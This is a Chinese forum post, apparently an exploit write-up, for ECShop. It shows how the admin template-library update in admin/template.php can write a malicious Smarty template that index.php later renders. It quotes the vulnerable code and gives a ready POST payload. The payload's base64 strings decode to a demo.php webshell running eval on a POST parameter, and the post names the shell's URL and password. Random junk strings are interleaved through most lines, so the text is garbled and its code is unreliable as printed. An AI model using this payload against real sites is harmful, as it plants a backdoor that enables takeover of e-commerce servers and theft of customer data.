首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. s( b0 l1 ?$ L3 k9 t! f. P* U# a$ P( P1 W. D' w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
. V) |; t' N. S但是ecshop似乎不支持{php}{/php}这个标签来执行php代码; f( f8 t4 G$ M( c Q
admin/template.php
2 z) o, _. N0 I& X2 p8 i3 s: z: y3 e# m4 q/ e3 L
1 if ($_REQUEST['act'] == 'update_library')
8 p4 ^, N' A* [: }* q
6 }* F# j( t2 E. [. i5 u+ E2 " z% S$ E3 I! w# K' k: c
8 ?$ J5 m# s9 _; M4 y; y# ^8 ?
3 { 2 t& u$ I" H; D, R
& Z6 d5 E& D/ S7 v# S4 check_authz_json('library_manage');
+ n2 i6 c, E8 ^4 k8 e( E3 h1 `$ s1 A
5 4 X5 P# `4 N( X3 z2 D6 q- G
( F {) P* G4 o* v6 Z
6 $html = stripslashes(json_str_iconv($_POST['html'])); , X; x2 \ H$ t5 Y- J
8 K; b8 T8 U1 P# S! Y6 u/ x& m7 l- J9 K: U% Q) M# L
7 ~4 c) t# U0 k8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 : r- m5 k' }! S& A# u# Y
; Q# z" I' T% i4 W* I& p R+ i1 c9
4 s) X. Y# ?1 L7 Y% F
; U6 l% q! s; e+ Q10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
7 x; s" t4 F) \& V1 H
- X, _' T8 G' T3 h11
1 @1 v4 I# B0 c/ |% T6 z; {& Q8 i C1 F/ r* e& u: O+ D: X
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ( N M8 ^& `2 i* v( y) X) @# A: b( F
3 e: f/ g' ?4 K
13 ( c( X; c5 ]$ |6 D9 G& G
5 B# Q( w7 [5 o6 N
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ; m5 W% P5 ?/ `
+ x0 E2 a! k9 L
15 { 1 v+ m9 w/ ^8 A( S. w
. z* |# @4 a7 u+ g, F16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
" V9 x" g# {2 w6 m) M: s" `
5 W5 Q2 t, u. ?5 Q* y17 make_json_result('', $_LANG['update_lib_success']); 1 y0 ^/ O% U+ B6 X2 B* W4 X
/ R. a. v* y% I7 c
18 } % S1 g% D6 Y7 b1 q! s
6 C% J! P0 H! {' E4 Z8 t/ P19 else
- J; H4 R7 j3 X4 I
7 ]2 P8 w' }9 o* T1 m20 { + `% u- L" A) O6 l# g
- o ~1 n/ M/ V) k" e! O21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 9 I& m# U4 i% W7 d
* s7 t' \4 {/ E; H6 E. e: D4 ~
22 } ! A3 O6 N) z( `+ Z# T
9 k( J9 n" L2 Q- y# B23 }
- {8 c1 U2 Y1 c0 s2 z# L3 A
% G& G+ G* f8 z( m) B那么找个比较方便调用了模板的文件
% @/ ]& i' i! X/ l- eindex.php
2 H5 C4 K, c2 Z& P$ V2 E$ P R* C' p+ [$ Z" A
1 if ($act == 'cat_rec')
( N% e5 Q+ d2 H+ [$ {* V$ @/ n- A- A* F h) K( y4 w3 E
2 6 x" W# b( o8 ~2 B$ N
' R. b4 e/ G6 r. {5 A, z8 `2 M [3 { ) I! {/ F0 y0 Q" \* U
, [" c: f: H k6 p' }4
2 C0 Q! x" [/ J0 F! L8 Q( A. n4 ^: g/ [: E( R' h+ V7 a" V _
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
2 d( C( y( v4 Y! l2 a( D! o9 J- I1 H: `. p2 M L8 L
6
2 W6 x( B1 m+ t- X K' c
# a8 P0 T+ y( S5 `5 e/ a! x7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
# f" r2 S! _. e
+ D# B0 Y# N. C1 c! W8 % }- A2 G5 V Z% Z p. d4 V8 E+ L6 R
, S0 D1 i- {# f( K9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ) N" Q' ^6 D6 K/ u3 @) X
3 I: }5 i8 l0 o10 + o* e7 Z$ m7 U k% O1 n. r2 [
/ }: a" `5 y% H2 F" u
11 include_once('includes/cls_json.php');
. D% ]/ u+ R$ d; s* E) w# T7 H/ J9 a+ X0 d/ I3 A
12 5 r" g3 m! N3 q4 y- G1 n0 m" u
) V( z# {& u: _# k0 H, }
13 $json = new JSON; 7 R& I# N1 X# A. Z' U/ m D: |$ g
3 P: B" C* Z; E! q. V
14 . G% o: U' l. L( h4 w# K
\ R, S8 W+ i$ V
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); & a9 E9 d4 L% k3 }7 J" d2 ]
# _' V* ?+ j5 `/ b6 _
16
3 k, z" w7 E, B, n( T& i' N) ?8 d! S7 ]) u: a; A
17 $children = get_children($cat_id); % D) X- ]4 q7 h
' j- N! r, z6 ^* I% Y
18
+ _0 C0 e5 N6 e+ M% P1 ]4 f2 S7 o9 _6 C$ h3 I: L
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 , x3 m. Y ?3 u7 P6 @ w" |( n% \
- y. s9 l3 K1 M' G% s# ~. ?4 \0 Q20
3 {5 v1 t0 T1 Q5 t4 N0 ^: h, m9 K9 X5 F
21 $smarty->assign('cat_rec_sign', 1); ' Q8 T- u' |( U G/ ~6 h- d! G" e0 a) x
2 L* Z! L' {7 a& M0 y22 ! Y7 ^: H$ P( A
) g; F4 Q. J- | ^! j23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
7 `' M( p6 [) I+ p8 K/ q- o/ F. }2 k0 d5 T! |/ c( B0 n2 |% @& `
24
" ]: W3 z# q+ O& u. R" q2 S+ r
# N) H- ] n/ B5 N% i25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 5 B* M- ^ a0 Q7 H1 M8 d
8 m6 J3 \3 I! `9 Q) ?; q26
" h, Y( C8 C) c3 _& v4 l) d9 |; I5 L( L4 J
27 echo $rec_array[$rec_type]; g$ w+ U7 M: s# d& P9 T
! _/ B/ o' x; ~4 M d5 u9 Q28 ' V* p% A, P7 g- H3 k! c5 \# o
9 ~3 ?3 o- o5 o* E0 p- @* R29 die($json->encode($result)); " Y% X8 d. K+ U0 c+ I
9 f* v& i; F: W9 I6 _- I1 z* j30
9 ~2 E: G! H. b; x$ A- m" V7 h. {; Q( V N+ c, \
31 }
% l% E7 W6 F$ K2 D, p2 d: u0 F# S3 k% l
那么就有利用方法了
7 b- g8 E" K( v& S: rpost包到http://localhost/ec/admin/template.php?act=update_library
( p. x' {& o9 Y0 W' [Post内容:, m# k4 ]7 L* }5 {
V& r, q7 _- d: X7 v1 G
0 @ ?( v, ]( g! X' @1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
a$ B) B/ S. q* ?
+ @9 g0 D# |2 e然后访问http://localhost/ec/index.php?act=cat_rec
+ o k( E# Z% V$ R) T/ ]2 P5 I6 [6 t# _: N4 c' h4 b
shel地址:http://localhost/ec/demo.php
2 g3 r0 e& d1 D c4 Z+ Q密码c
& F8 t6 B( w0 t1 N7 _. o5 @! U7 f7 z
|